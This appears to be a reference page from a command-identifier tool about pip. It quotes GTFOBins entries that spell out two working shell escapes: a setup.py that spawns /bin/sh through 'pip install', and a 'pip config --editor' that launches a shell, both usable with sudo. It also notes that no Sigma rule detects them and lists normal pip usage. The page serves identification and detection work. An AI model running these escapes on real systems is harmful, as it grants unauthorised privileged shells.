Identifier / Programs / Linux and Unix
pip
Python package manager. Some subcommands such as install have their own usage documentation. tldr-pages
GTFOBins inherit, shell 1 ATT&CK technique 2 documented commands
How pip is abused
inherit
install
--break-system-packagesEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for pip.
2 documented commands
inherit unprivileged, with sudo
This allows to run Python code (...). It executes a Python script named setup.py in the directory passed as argument (.).
Keep in mind that the TTY is lost, so /dev/tty can be used, for example:
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.pyThe --break-system-packages flag can be omitted in older systems.
echo '...' >setup.py
pip install --break-system-packages .shell unprivileged, with sudo
pip config --editor '/bin/sh -s' editNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for pip. The identifier reads the line of each that runs pip.
What detects it
Everyday use
Install a package (see pip install for more install examples)
pip install packageIdentifyInstall a package to the user's directory instead of the system-wide default location
pip install --user packageIdentifyUpgrade a package
pip install --upgrade packageIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.